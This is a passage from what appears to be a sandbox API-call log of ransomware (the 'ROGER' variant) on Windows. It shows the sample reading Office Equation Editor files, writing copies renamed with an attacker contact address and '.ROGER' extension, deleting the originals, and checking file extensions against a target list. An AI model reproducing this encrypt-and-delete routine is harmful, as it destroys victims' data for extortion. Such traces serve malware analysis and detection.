lpNumberOfBytesRead=0x423fed4, lpOverlapped=0x0 | out: lpBuffer=0x4c90020*, lpNumberOfBytesRead=0x423fed4*=0xfa60, lpOverlapped=0x0) returned 1 [0052.646] WriteFile (in: hFile=0x3a0, lpBuffer=0x4c90020*, nNumberOfBytesToWrite=0xfa70, lpNumberOfBytesWritten=0x423fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4c90020*, lpNumberOfBytesWritten=0x423fc9c*=0xfa70, lpOverlapped=0x0) returned 1 [0052.648] ReadFile (in: hFile=0x3e8, lpBuffer=0x4c90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x423fed4, lpOverlapped=0x0 | out: lpBuffer=0x4c90020*, lpNumberOfBytesRead=0x423fed4*=0x0, lpOverlapped=0x0) returned 1 [0052.648] WriteFile (in: hFile=0x3a0, lpBuffer=0x4c90020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x423fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4c90020*, lpNumberOfBytesWritten=0x423fc9c*=0xe8, lpOverlapped=0x0) returned 1 [0052.648] SetEndOfFile (hFile=0x3a0) returned 1 [0052.648] CloseHandle (hObject=0x3a0) returned 1 [0052.648] SetFilePointerEx (in: hFile=0x3e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x423fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.648] SetEndOfFile (hFile=0x3e8) returned 1 [0052.649] CloseHandle (hObject=0x3e8) returned 1 [0052.650] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\EEINTL.DLL.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0052.650] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\EEINTL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\1033\\eeintl.dll")) returned 1 [0052.650] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\EEINTL.DLL") returned 71 [0052.650] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\EEINTL.DLL") returned 71 [0052.650] lstrlenW (lpString=".doc") returned 4 [0052.650] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0052.650] lstrlenW (lpString=".docx") returned 5 [0052.650] lstrcmpiW (lpString1=".docx", lpString2="L.DLL") returned -1 [0052.650] lstrlenW (lpString=".pdf") returned 4 [0052.650] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0052.650] lstrlenW (lpString=".xls") returned 4 [0052.650] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0052.650] lstrlenW (lpString=".xlsx") returned 5 [0052.650] lstrcmpiW (lpString1=".xlsx", lpString2="L.DLL") returned -1 [0052.650] lstrlenW (lpString=".ppt") returned 4 [0052.650] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0052.650] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\EEINTL.DLL") returned 71 [0052.650] lstrlenW (lpString=".zip") returned 4 [0052.650] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0052.650] lstrlenW (lpString=".rar") returned 4 [0052.650] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0052.650] lstrlenW (lpString=".bz2") returned 4 [0052.651] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0052.651] lstrlenW (lpString=".7z") returned 3 [0052.651] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0052.651] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\EEINTL.DLL") returned 71 [0052.651] lstrlenW (lpString=".dbf") returned 4 [0052.651] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0052.651] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\EEINTL.DLL") returned 71 [0052.651] lstrlenW (lpString=".1cd") returned 4 [0052.651] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0052.651] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\EEINTL.DLL") returned 71 [0052.651] lstrlenW (lpString=".jpg") returned 4 [0052.651] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0052.651] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\EEINTL.DLL") returned 71 [0052.651] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\EEINTL.DLL") returned 71 [0052.651] lstrlenW (lpString=".doc") returned 4 [0052.651] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0052.651] lstrlenW (lpString=".docx") returned 5 [0052.651] lstrcmpiW (lpString1=".docx", lpString2="L.DLL") returned -1 [0052.651] lstrlenW (lpString=".pdf") returned 4 [0052.651] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0052.651] lstrlenW (lpString=".xls") returned 4 [0052.651] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0052.651] lstrlenW (lpString=".xlsx") returned 5 [0052.651] lstrcmpiW (lpString1=".xlsx", lpString2="L.DLL") returned -1 [0052.651] lstrlenW (lpString=".ppt") returned 4 [0052.651] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0052.651] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\EEINTL.DLL") returned 71 [0052.651] lstrlenW (lpString=".zip") returned 4 [0052.651] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0052.651] lstrlenW (lpString=".rar") returned 4 [0052.651] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0052.651] lstrlenW (lpString=".bz2") returned 4 [0052.652] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0052.652] lstrlenW (lpString=".7z") returned 3 [0052.652] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0052.652] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\EEINTL.DLL") returned 71 [0052.652] lstrlenW (lpString=".dbf") returned 4 [0052.652] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0052.652] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\EEINTL.DLL") returned 71 [0052.652] lstrlenW (lpString=".1cd") returned 4 [0052.652] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0052.652] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\EEINTL.DLL") returned 71 [0052.652] lstrlenW (lpString=".jpg") returned 4 [0052.652] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0052.652] lstrcmpiW (lpString1=".CNT", lpString2=".ROGER") returned -1 [0052.652] lstrlenW (lpString="EQNEDT32.CNT") returned 12 [0052.652] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.cnt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e8 [0052.653] GetFileSizeEx (in: hFile=0x3e8, lpFileSize=0x423ff1c | out: lpFileSize=0x423ff1c*=2557) returned 1 [0052.653] CloseHandle (hObject=0x3e8) returned 1 [0052.653] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.cnt")) returned 0x20 [0052.653] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.cnt.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0052.654] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.cnt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e8 [0052.654] SetFilePointerEx (in: hFile=0x3e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x423fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.654] SetFilePointerEx (in: hFile=0x3e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x423fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.654] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.cnt.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0052.654] GetLastError () returned 0x0 [0052.654] ReadFile (in: hFile=0x3e8, lpBuffer=0x4c90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x423fed4, lpOverlapped=0x0 | out: lpBuffer=0x4c90020*, lpNumberOfBytesRead=0x423fed4*=0x9fd, lpOverlapped=0x0) returned 1 [0052.656] WriteFile (in: hFile=0x3a0, lpBuffer=0x4c90020*, nNumberOfBytesToWrite=0xa00, lpNumberOfBytesWritten=0x423fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4c90020*, lpNumberOfBytesWritten=0x423fc9c*=0xa00, lpOverlapped=0x0) returned 1 [0052.657] ReadFile (in: hFile=0x3e8, lpBuffer=0x4c90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x423fed4, lpOverlapped=0x0 | out: lpBuffer=0x4c90020*, lpNumberOfBytesRead=0x423fed4*=0x0, lpOverlapped=0x0) returned 1 [0052.657] WriteFile (in: hFile=0x3a0, lpBuffer=0x4c90020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x423fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4c90020*, lpNumberOfBytesWritten=0x423fc9c*=0xec, lpOverlapped=0x0) returned 1 [0052.657] SetEndOfFile (hFile=0x3a0) returned 1 [0052.658] CloseHandle (hObject=0x3a0) returned 1 [0052.658] SetFilePointerEx (in: hFile=0x3e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x423fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.658] SetEndOfFile (hFile=0x3e8) returned 1 [0052.658] CloseHandle (hObject=0x3e8) returned 1 [0052.659] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0052.659] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.cnt")) returned 1 [0052.659] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT") returned 68 [0052.659] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT") returned 68 [0052.659] lstrlenW (lpString=".doc") returned 4 [0052.659] lstrcmpiW (lpString1=".doc", lpString2=".CNT") returned 1 [0052.659] lstrlenW (lpString=".docx") returned 5 [0052.659] lstrcmpiW (lpString1=".docx", lpString2="2.CNT") returned -1 [0052.659] lstrlenW (lpString=".pdf") returned 4 [0052.659] lstrcmpiW (lpString1=".pdf", lpString2=".CNT") returned 1 [0052.659] lstrlenW (lpString=".xls") returned 4 [0052.659] lstrcmpiW (lpString1=".xls", lpString2=".CNT") returned 1 [0052.659] lstrlenW (lpString=".xlsx") returned 5 [0052.659] lstrcmpiW (lpString1=".xlsx", lpString2="2.CNT") returned -1 [0052.659] lstrlenW (lpString=".ppt") returned 4 [0052.659] lstrcmpiW (lpString1=".ppt", lpString2=".CNT") returned 1 [0052.659] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT") returned 68 [0052.659] lstrlenW (lpString=".zip") returned 4 [0052.660] lstrcmpiW (lpString1=".zip", lpString2=".CNT") returned 1 [0052.660] lstrlenW (lpString=".rar") returned 4 [0052.660] lstrcmpiW (lpString1=".rar", lpString2=".CNT") returned 1 [0052.660] lstrlenW (lpString=".bz2") returned 4 [0052.660] lstrcmpiW (lpString1=".bz2", lpString2=".CNT") returned -1 [0052.660] lstrlenW (lpString=".7z") returned 3 [0052.660] lstrcmpiW (lpString1=".7z", lpString2="CNT") returned -1 [0052.660] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT") returned 68 [0052.660] lstrlenW (lpString=".dbf") returned 4 [0052.660] lstrcmpiW (lpString1=".dbf", lpString2=".CNT") returned 1 [0052.660] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT") returned 68 [0052.660] lstrlenW (lpString=".1cd") returned 4 [0052.660] lstrcmpiW (lpString1=".1cd", lpString2=".CNT") returned -1 [0052.660] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT") returned 68 [0052.660] lstrlenW (lpString=".jpg") returned 4 [0052.660] lstrcmpiW (lpString1=".jpg", lpString2=".CNT") returned 1 [0052.660] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT") returned 68 [0052.660] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT") returned 68 [0052.660] lstrlenW (lpString=".doc") returned 4 [0052.660] lstrcmpiW (lpString1=".doc", lpString2=".CNT") returned 1 [0052.660] lstrlenW (lpString=".docx") returned 5 [0052.660] lstrcmpiW (lpString1=".docx", lpString2="2.CNT") returned -1 [0052.660] lstrlenW (lpString=".pdf") returned 4 [0052.660] lstrcmpiW (lpString1=".pdf", lpString2=".CNT") returned 1 [0052.660] lstrlenW (lpString=".xls") returned 4 [0052.660] lstrcmpiW (lpString1=".xls", lpString2=".CNT") returned 1 [0052.660] lstrlenW (lpString=".xlsx") returned 5 [0052.660] lstrcmpiW (lpString1=".xlsx", lpString2="2.CNT") returned -1 [0052.660] lstrlenW (lpString=".ppt") returned 4 [0052.660] lstrcmpiW (lpString1=".ppt", lpString2=".CNT") returned 1 [0052.660] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT") returned 68 [0052.661] lstrlenW (lpString=".zip") returned 4 [0052.661] lstrcmpiW (lpString1=".zip", lpString2=".CNT") returned 1 [0052.661] lstrlenW (lpString=".rar") returned 4 [0052.661] lstrcmpiW (lpString1=".rar", lpString2=".CNT") returned 1 [0052.661] lstrlenW (lpString=".bz2") returned 4 [0052.661] lstrcmpiW (lpString1=".bz2", lpString2=".CNT") returned -1 [0052.661] lstrlenW (lpString=".7z") returned 3 [0052.661] lstrcmpiW (lpString1=".7z", lpString2="CNT") returned -1 [0052.661] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT") returned 68 [0052.661] lstrlenW (lpString=".dbf") returned 4 [0052.661] lstrcmpiW (lpString1=".dbf", lpString2=".CNT") returned 1 [0052.661] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT") returned 68 [0052.661] lstrlenW (lpString=".1cd") returned 4 [0052.661] lstrcmpiW (lpString1=".1cd", lpString2=".CNT") returned -1 [0052.661] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT") returned 68 [0052.661] lstrlenW (lpString=".jpg") returned 4 [0052.661] lstrcmpiW (lpString1=".jpg", lpString2=".CNT") returned 1 [0052.661] lstrcmpiW (lpString1=".EXE", lpString2=".ROGER") returned -1 [0052.661] lstrlenW (lpString="EQNEDT32.EXE") returned 12 [0052.661] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e8 [0052.662] GetFileSizeEx (in: hFile=0x3e8, lpFileSize=0x423ff1c | out: lpFileSize=0x423ff1c*=543304) returned 1 [0052.662] CloseHandle (hObject=0x3e8) returned 1 [0052.662] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.exe")) returned 0x20 [0052.662] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.exe.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0052.662] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e8 [0052.662] SetFilePointerEx (in: hFile=0x3e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x423fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.662] SetFilePointerEx (in: hFile=0x3e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x423fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.662] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.exe.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0052.662] GetLastError () returned 0x0 [0052.663] ReadFile (in: hFile=0x3e8, lpBuffer=0x4c90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x423fed4, lpOverlapped=0x0 | out: lpBuffer=0x4c90020*, lpNumberOfBytesRead=0x423fed4*=0x84a48, lpOverlapped=0x0) returned 1 [0052.718] WriteFile (in: hFile=0x3a0, lpBuffer=0x4c90020*, nNumberOfBytesToWrite=0x84a50, lpNumberOfBytesWritten=0x423fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4c90020*, lpNumberOfBytesWritten=0x423fc9c*=0x84a50, lpOverlapped=0x0) returned 1 [0052.728] ReadFile (in: hFile=0x3e8, lpBuffer=0x4c90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x423fed4, lpOverlapped=0x0 | out: lpBuffer=0x4c90020*, lpNumberOfBytesRead=0x423fed4*=0x0, lpOverlapped=0x0) returned 1 [0052.728] WriteFile (in: hFile=0x3a0, lpBuffer=0x4c90020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x423fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4c90020*, lpNumberOfBytesWritten=0x423fc9c*=0xec, lpOverlapped=0x0) returned 1 [0052.728] SetEndOfFile (hFile=0x3a0) returned 1 [0052.728] CloseHandle (hObject=0x3a0) returned 1 [0052.728] SetFilePointerEx (in: hFile=0x3e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x423fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.728] SetEndOfFile (hFile=0x3e8) returned 1 [0052.733] CloseHandle (hObject=0x3e8) returned 1 [0052.733] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0052.734] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.exe")) returned 1 [0052.734] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE") returned 68 [0052.734] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE") returned 68 [0052.734] lstrlenW (lpString=".doc") returned 4 [0052.734] lstrcmpiW (lpString1=".doc", lpString2=".EXE") returned -1 [0052.734] lstrlenW (lpString=".docx") returned 5 [0052.734] lstrcmpiW (lpString1=".docx", lpString2="2.EXE") returned -1 [0052.734] lstrlenW (lpString=".pdf") returned 4 [0052.734] lstrcmpiW (lpString1=".pdf", lpString2=".EXE") returned 1 [0052.734] lstrlenW (lpString=".xls") returned 4 [0052.734] lstrcmpiW (lpString1=".xls", lpString2=".EXE") returned 1 [0052.734] lstrlenW (lpString=".xlsx") returned 5 [0052.734] lstrcmpiW (lpString1=".xlsx", lpString2="2.EXE") returned -1 [0052.734] lstrlenW (lpString=".ppt") returned 4 [0052.734] lstrcmpiW (lpString1=".ppt", lpString2=".EXE") returned 1 [0052.734] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE") returned 68 [0052.734] lstrlenW (lpString=".zip") returned 4 [0052.734] lstrcmpiW (lpString1=".zip", lpString2=".EXE") returned 1 [0052.734] lstrlenW (lpString=".rar") returned 4 [0052.734] lstrcmpiW (lpString1=".rar", lpString2=".EXE") returned 1 [0052.734] lstrlenW (lpString=".bz2") returned 4 [0052.734] lstrcmpiW (lpString1=".bz2", lpString2=".EXE") returned -1 [0052.734] lstrlenW (lpString=".7z") returned 3 [0052.735] lstrcmpiW (lpString1=".7z", lpString2="EXE") returned -1 [0052.735] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE") returned 68 [0052.735] lstrlenW (lpString=".dbf") returned 4 [0052.735] lstrcmpiW (lpString1=".dbf", lpString2=".EXE") returned -1 [0052.735] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE") returned 68 [0052.735] lstrlenW (lpString=".1cd") returned 4 [0052.735] lstrcmpiW (lpString1=".1cd", lpString2=".EXE") returned -1 [0052.735] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE") returned 68 [0052.735] lstrlenW (lpString=".jpg") returned 4 [0052.735] lstrcmpiW (lpString1=".jpg", lpString2=".EXE") returned 1 [0052.735] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE") returned 68 [0052.735] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE") returned 68 [0052.735] lstrlenW (lpString=".doc") returned 4 [0052.735] lstrcmpiW (lpString1=".doc", lpString2=".EXE") returned -1 [0052.735] lstrlenW (lpString=".docx") returned 5 [0052.735] lstrcmpiW (lpString1=".docx", lpString2="2.EXE") returned -1 [0052.735] lstrlenW (lpString=".pdf") returned 4 [0052.735] lstrcmpiW (lpString1=".pdf", lpString2=".EXE") returned 1 [0052.735] lstrlenW (lpString=".xls") returned 4 [0052.735] lstrcmpiW (lpString1=".xls", lpString2=".EXE") returned 1 [0052.735] lstrlenW (lpString=".xlsx") returned 5 [0052.735] lstrcmpiW (lpString1=".xlsx", lpString2="2.EXE") returned -1 [0052.735] lstrlenW (lpString=".ppt") returned 4 [0052.735] lstrcmpiW (lpString1=".ppt", lpString2=".EXE") returned 1 [0052.735] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE") returned 68 [0052.735] lstrlenW (lpString=".zip") returned 4 [0052.735] lstrcmpiW (lpString1=".zip", lpString2=".EXE") returned 1 [0052.735] lstrlenW (lpString=".rar") returned 4 [0052.735] lstrcmpiW (lpString1=".rar", lpString2=".EXE") returned 1 [0052.735] lstrlenW (lpString=".bz2") returned 4 [0052.735] lstrcmpiW (lpString1=".bz2", lpString2=".EXE") returned -1 [0052.735] lstrlenW (lpString=".7z") returned 3 [0052.735] lstrcmpiW (lpString1=".7z", lpString2="EXE") returned -1 [0052.736] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE") returned 68 [0052.736] lstrlenW (lpString=".dbf") returned 4 [0052.736] lstrcmpiW (lpString1=".dbf", lpString2=".EXE") returned -1 [0052.736] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE") returned 68 [0052.736] lstrlenW (lpString=".1cd") returned 4 [0052.736] lstrcmpiW (lpString1=".1cd", lpString2=".EXE") returned -1 [0052.736] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE") returned 68 [0052.736] lstrlenW (lpString=".jpg") returned 4 [0052.736] lstrcmpiW (lpString1=".jpg", lpString2=".EXE") returned 1 [0052.736] lstrcmpiW (lpString1=".manifest", lpString2=".ROGER") returned -1 [0052.736] lstrlenW (lpString="eqnedt32.exe.manifest") returned 21 [0052.736] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.exe.manifest"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e8 [0052.736] GetFileSizeEx (in: hFile=0x3e8, lpFileSize=0x423ff1c | out: lpFileSize=0x423ff1c*=566) returned 1 [0052.736] CloseHandle (hObject=0x3e8) returned 1 [0052.737] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.exe.manifest")) returned 0x20 [0052.737] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.exe.manifest.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0052.737] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.exe.manifest"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e8 [0052.737] SetFilePointerEx (in: hFile=0x3e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x423fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.737] SetFilePointerEx (in: hFile=0x3e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x423fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.737] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.exe.manifest.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0052.737] GetLastError () returned 0x0 [0052.737] ReadFile (in: hFile=0x3e8, lpBuffer=0x4c90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x423fed4, lpOverlapped=0x0 | out: lpBuffer=0x4c90020*, lpNumberOfBytesRead=0x423fed4*=0x236, lpOverlapped=0x0) returned 1 [0052.738] WriteFile (in: hFile=0x3a0, lpBuffer=0x4c90020*, nNumberOfBytesToWrite=0x240, lpNumberOfBytesWritten=0x423fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4c90020*, lpNumberOfBytesWritten=0x423fc9c*=0x240, lpOverlapped=0x0) returned 1 [0052.739] ReadFile (in: hFile=0x3e8, lpBuffer=0x4c90020, nNumberOfBytesToRead=0xffff0, 